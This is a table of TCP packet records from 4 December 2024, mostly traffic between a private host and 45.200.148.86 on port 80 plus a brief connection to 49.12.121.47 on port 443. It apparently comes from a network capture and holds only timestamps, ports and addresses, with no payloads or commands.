Dec 4, 2024 15:12:29.784392118 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:29.784470081 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:29.785269976 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:29.785377979 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:29.785429955 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:29.786276102 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:29.786396027 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:29.786432981 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:29.787209034 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:29.787386894 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:29.787419081 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:29.788137913 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:29.788281918 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:29.788542986 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:29.789119959 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:29.789217949 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:29.789261103 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:29.790056944 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:29.790261984 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:29.790297031 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:29.791006088 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:29.791166067 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:29.791209936 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:29.791997910 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:29.792167902 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:29.792202950 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:29.792890072 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:29.793052912 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:29.793888092 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:29.793929100 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:29.793958902 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:29.793993950 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:29.795011044 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:29.795085907 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:29.795236111 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:29.795846939 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:29.795963049 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:29.796000957 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:29.796760082 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:29.796904087 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:29.797141075 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:29.797672033 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:29.797780037 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:29.797914028 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:29.798629045 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:29.798775911 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:29.798809052 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:29.799546003 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:29.799726009 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:29.799813986 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:29.800539017 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:29.800626040 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:29.800669909 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:29.801522017 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:29.801662922 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:29.801747084 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:29.802448034 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:29.802604914 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:29.802685022 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:29.803448915 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:29.803585052 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:29.803625107 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.275888920 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.325488091 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.433769941 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.553626060 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.553646088 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.553703070 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.554013968 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.554100990 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.554219007 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.554697990 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.554810047 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.554891109 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.555438042 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.555537939 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.555583954 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.556122065 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.556210995 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.556266069 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.556874037 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.556979895 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.557107925 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.557627916 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.557768106 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.557837009 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.558301926 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.558398962 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.558439016 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.559052944 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.559161901 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.559250116 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.559876919 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.559943914 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.560010910 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.560481071 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.560592890 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.560628891 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.561199903 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.561325073 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.561662912 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.561960936 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.562007904 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.562061071 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.562671900 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.562757015 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.562994957 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.563442945 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.563725948 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.563884020 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.564124107 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.564232111 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.564304113 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.564865112 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.564974070 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.565033913 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.565599918 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.565715075 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.565762043 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.566330910 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.566451073 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.566504002 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.567025900 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.567166090 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.567235947 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.567744970 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.567897081 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.568011045 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.568438053 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.568650007 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.568700075 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.569178104 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.569370985 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.569463968 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.570044994 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.570055962 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.570096970 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.570302963 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.570419073 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.570463896 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.571242094 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.571429968 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.571470022 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.571877003 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.571930885 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.572154045 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.572530985 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.572613955 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.572696924 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.573249102 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.573333025 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.573381901 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.574049950 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.574143887 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.574245930 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.574685097 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.574754953 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.574887037 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.575398922 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.575501919 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.575567961 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.575725079 CET	49802	443	192.168.2.10	49.12.121.47
Dec 4, 2024 15:12:30.575753927 CET	443	49802	49.12.121.47	192.168.2.10
Dec 4, 2024 15:12:30.575822115 CET	49802	443	192.168.2.10	49.12.121.47
Dec 4, 2024 15:12:30.576155901 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.576283932 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.576611042 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.576862097 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.576987982 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.577032089 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.577375889 CET	49802	443	192.168.2.10	49.12.121.47
Dec 4, 2024 15:12:30.577393055 CET	443	49802	49.12.121.47	192.168.2.10
Dec 4, 2024 15:12:30.577579975 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.577712059 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.578017950 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.578366995 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.578537941 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.578583002 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.579009056 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.579166889 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.579207897 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.579809904 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.579931021 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.579977989 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.580486059 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.580580950 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.580621004 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.581224918 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.581342936 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.581688881 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.581948042 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.582009077 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.582051992 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.582669973 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.582830906 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.582974911 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.583363056 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.583534002 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.583584070 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.584093094 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.584283113 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.584326029 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.584882975 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.584966898 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.585000038 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.585741043 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.585917950 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.585958958 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.586493969 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.586585045 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.586704016 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.587208986 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.587513924 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.587558985 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.587852001 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.587905884 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.587987900 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.588511944 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.588597059 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.588690996 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.589210987 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.589272022 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.589313984 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.589936018 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.590100050 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.590137959 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.590666056 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.590790033 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.590933084 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.591341019 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.591442108 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.591483116 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.592073917 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.592174053 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.592278957 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.592778921 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.593111038 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.593156099 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.593533993 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.593691111 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.593760967 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.594455004 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.594551086 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.594655037 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.595192909 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.595277071 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.595338106 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.595711946 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.595815897 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.595870018 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.596452951 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.596549034 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.596637011 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.597141981 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.597270012 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.597417116 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.597868919 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.597989082 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.598031998 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.598635912 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.598731041 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.598762989 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.599376917 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.599462032 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.599620104 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.600027084 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.600161076 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.600214005 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.600754976 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.600889921 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.600927114 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.601712942 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.601886988 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.602109909 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.602253914 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.602364063 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.602421045 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.603082895 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.603193998 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.603267908 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.603652000 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.603722095 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.603858948 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.604500055 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.604547977 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.604737043 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.605165005 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.605292082 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.605340958 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.605899096 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.606012106 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.606050968 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.606587887 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.606681108 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.606898069 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.607359886 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.607403040 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.607562065 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.608041048 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.608252048 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.608290911 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.608748913 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.608943939 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.608989954 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.609498978 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.609601021 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.609678984 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.610260010 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.610280037 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.610397100 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.611001015 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.611102104 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.611150980 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.611664057 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.611798048 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.611850023 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.612392902 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.612533092 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.612637043 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.613116980 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.613224030 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.613276005 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.613851070 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.614237070 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.614322901 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.614571095 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.614679098 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.614784002 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.615338087 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.615492105 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.615560055 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.616008997 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.616202116 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.616275072 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.616776943 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.616842985 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.616933107 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.617645979 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.617826939 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.617866993 CET	49792	80	192.168.2.10	45.200.148.86
